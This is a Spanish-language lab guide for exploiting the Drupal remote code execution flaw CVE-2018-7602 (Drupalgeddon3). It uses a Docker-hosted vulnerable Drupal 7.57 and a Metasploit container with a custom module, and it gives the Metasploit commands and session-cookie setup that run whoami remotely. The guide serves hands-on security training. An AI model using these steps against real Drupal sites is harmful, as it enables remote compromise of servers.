
# Laboratorio de explotación RCE Drupalgeddon3 con entorno vulnerable basado en Docker e integración con Metasploit para formación práctica en la explotación de CVE-2018-7602.
Existe una vulnerabilidad de ejecución remota de código en múltiples subsistemas de Drupal 7.x y 8.x. Esto potencialmente permite a los atacantes explotar múltiples vectores de ataque en un sitio Drupal, lo que podría resultar en el compromiso del sitio. Esta vulnerabilidad está relacionada con Drupal core - Altamente crítica - Ejecución remota de código - SA-CORE-2018-002. Tanto SA-CORE-2018-002 como esta vulnerabilidad están siendo explotados activamente. --- MITRE
Debido a algunas limitaciones de red en Docker para Mac (https://docs.docker.com/docker-for-mac/networking/#use-cases-and-workarounds) y Windows, el código siguiente debe ejecutarse en una máquina LINUX con docker y docker-compose instalados.
Aquí tenemos un procedimiento de dos pasos: primero, la máquina Drupal con una versión vulnerable 7.57 y segundo, la máquina atacante con un exploit modificado que nos permite demostrar el peligro potencial de la vulnerabilidad.
# Suponiendo que estás situado dentro del directorio CVE-2018-7602
cd vulnerable_machine
docker-compose up -d
cd ..
Advertencia Asegúrate de que el puerto 80 no esté siendo utilizado por otro software antes de ejecutar el comando.
Máquina atacante: Aquí instanciaremos una imagen docker de Metasploit que contiene un exploit personalizado (drupal_drupalgeddon3_commander) que se utilizará más adelante. Para ello ejecutamos:
cd attacking_machine
docker-compose run --rm --service-ports -e MSF_UID=$(id -u) -e MSF_GID=$(id -g) ms
Si tienes algún problema al ejecutar los comandos siguientes, envía un correo electrónico a [email protected] adjuntando el registro de ejecución y él estará encantado de ayudarte a resolver el problema.
Ahora que tenemos Drupal en ejecución, tenemos que configurarlo y crear algo de contenido usando Drupal. Para ello sigue los siguientes pasos:


# Resumen
Intentaremos usar la vulnerabilidad para ejecutar comandos como ls o whoami
para demostrar que es posible ejecutar comandos de forma remota.
Ahora que tenemos la instancia vulnerable de Drupal ejecutándose en localhost. El siguiente paso es comenzar a usar la instancia de metasploit creada en el paso de configuración del entorno.
En metasploit, necesitamos recargar la base de datos de exploits usando el comando:
reload_all
Con eso tenemos acceso al exploit que necesitamos. Así que para preparar la información necesaria del exploit necesitaremos las cookies de sesión de algún usuario conectado al sitio.
Para obtenerlo de una manera fácil. Suponiendo que todavía tienes la sesión iniciada. Ve a las herramientas de desarrollador, mira el almacenamiento de cookies y guárdalo para más tarde. Deberías obtener al final algo como
#<session_name>=<session_token>
SESS49960de5880e8c687434170f6476605b=DGHZKHWaNC51nrVQHEsTD0_PS68EeNyvGjdzk1SVmss
Un ejemplo usando google chrome para obtener la cookie

Ahora comenzamos a cargar el exploit con metasploit. Para ello ejecuta los siguientes comandos:
use exploits/unix/webapp/drupal_drupalgeddon3_commander
show options
Como puedes ver necesitamos algunos parámetros. Configuramos los parámetros de la siguiente manera
set RHOSTS localhost
set DRUPAL_SESSION <session_name>=<session_token>
Después de hacer eso podemos ejecutar
exploit
Obtendremos el usuario que está ejecutando actualmente el servidor web. En este caso www-data. Porque el comando predeterminado configurado es whoami. También verás información adicional en formato JSON que no es relevante para nosotros.
Resultado final del exploit:

Fin de la experimentación: Si lograste ejecutar toda la experimentación con éxito, entonces este es el final Felicitaciones.
Si quieres seguir experimentando, puedes cambiar el valor del comando usando la instrucción set. O modificar el script ruby utilizado por metasploit.